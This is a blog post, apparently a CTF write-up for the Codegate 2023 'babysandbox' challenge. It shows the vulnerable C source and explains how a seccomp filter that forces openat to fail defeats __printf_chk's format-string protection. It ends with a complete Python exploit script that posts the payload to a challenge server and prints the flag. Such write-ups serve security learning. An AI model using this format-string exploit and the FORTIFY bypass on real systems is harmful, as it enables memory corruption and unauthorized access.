일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- christmas ctf
- h4cking game
- got overwrite
- webhacking.kr
- webhacking
- 워게임
- hacking
- Wreckctf
- hacking game
- python
- TeamH4C
- 웹해킹
- Gon
- deayzl
- dreamhack
- Buffer Overflow
- ctf player
- cryptography
- reversing
- writeup
- crypto
- System Hacking
- Wargame
- CTF
- hack
- 해킹
- 2022 Fall GoN Open Qual CTF
- WEB
- KAIST
- pwnable
Archives
- Today
- Total
deayzl's blog
[Codegate 2023] babysandbox writeup 본문
box.c :
// gcc box.c -o box -no-pie
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#define FLAG_PATH "/flag"
int install_seccomp(uint8_t *filt, unsigned short len);
void vuln();
void read_flag();
uint32_t target = 0xdead;
int main(int argc, char **argv) {
uint32_t filt_len;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
read(0, &filt_len, sizeof(uint32_t));
if (filt_len > 0x200) {
__printf_chk(1, "Too much T_T\n");
return 1;
}
uint8_t *filt = (unsigned char *)calloc(sizeof(uint8_t), filt_len);
int res = read(0, filt, filt_len);
if (res != filt_len) {
__printf_chk(1, "Cannot read enough T_T\n");
return 1;
}
if (install_seccomp(filt, (unsigned short)filt_len))
return 1;
vuln();
return 0;
}
int install_seccomp(unsigned char *filt, unsigned short filt_len) {
struct prog {
unsigned short len;
unsigned char *filt;
} rule = {
.len = filt_len >> 3,
.filt = filt
};
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) {
__printf_chk(1, "Failed to prctl(PR_SET_NO_NEW_PRIVS) T_T\n");
return 1;
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &rule) < 0) {
__printf_chk(1, "Failed to prctl(PR_SET_SECCOMP) T_T\n");
return 1;
}
return 0;
}
void vuln() {
char input[0x100];
memset(input, 0, sizeof(input));
__printf_chk(1, "Let's check our mitigation ^_^\n");
__printf_chk(1, "Protect : %p\n", &target);
int res = read(0, input, sizeof(input) - 1);
if (res < 0) {
__printf_chk(1, "Functionality is broken T_T\n");
return;
}
// We have a dangerous vulnerability here!
__printf_chk(1, input);
if (target == 0x1337) {
__printf_chk(1, "Mitigation failed.. The flag has been exposed T_T\n");
read_flag();
}
else {
__printf_chk(1, "\nNow we are safe from memory corruption! Thank you ^_^\n");
}
return;
}
void read_flag() {
int fd = open(FLAG_PATH, O_RDONLY);
char flag_buf[0x100];
if (fd < 0) {
__printf_chk(1, "Failed to open flag, contact admin please T_T\n");
exit(1);
}
memset(flag_buf, 0, sizeof(flag_buf));
int res = read(fd, flag_buf, sizeof(flag_buf));
if (res < 0) {
__printf_chk(1, "Failed to read flag, contact admin please T_T\n");
exit(1);
}
close(fd);
write(1, flag_buf, res);
return;
}
1. get size of seccomp bytes
2. get seccomp bytes
3. just read and printf
The target value must be 0x1337 to get flag.
Modifying it into some value can be done by format string bug through __printf_chk function.
But it does not allow it.
So I googled about bypassing it.
https://0xacb.com/2017/11/19/hxp-flag-store/
To bypass it, __readonly_area must return 1.
To make it return 1, fopen must return NULL and errno must be ENOENT or EACCES.
Set bp on __printf_chk and catch syscall.
Then you can see that it calls openat.
Considering that getting flag function also uses it, to ban all the openat calls cannot be done.
So I added a condition for that like he did in the writeup for hxp ctf 2017.
A = sys_number
A != openat ? ok : next
A = args[1]
A &= 0xff
A != 0x47 ? next : ok
return ERRNO(2)
ok:
return ALLOW
exploit script:
from pwn import p64
import requests
import base64
payload = open('./tmp.seccomp', 'rb').read()
fsb = b'%p' * 10 + b'%4791x'.ljust(9, b'A') + b'%hn' + b'A' * 8 + p64(0x404088)
req = requests.post('http://15.164.245.40:1400/', data={'payload':base64.b64encode(len(payload).to_bytes(4, 'little') + payload + fsb).decode()})
print(req.text)
res = req.text
res = res[res.find('readonly>')+len('readonly>'):]
res = res[:res.find('</te')]
print(res)
print(base64.b64decode(res))
#codegate2023{e92bd239f6c939c9474e1e1fce76512b95b3970c2af74fb7e4e61abdc6963e1683bd821e6cd25c5de386991d6b4516c926d61e03f35a}
Comments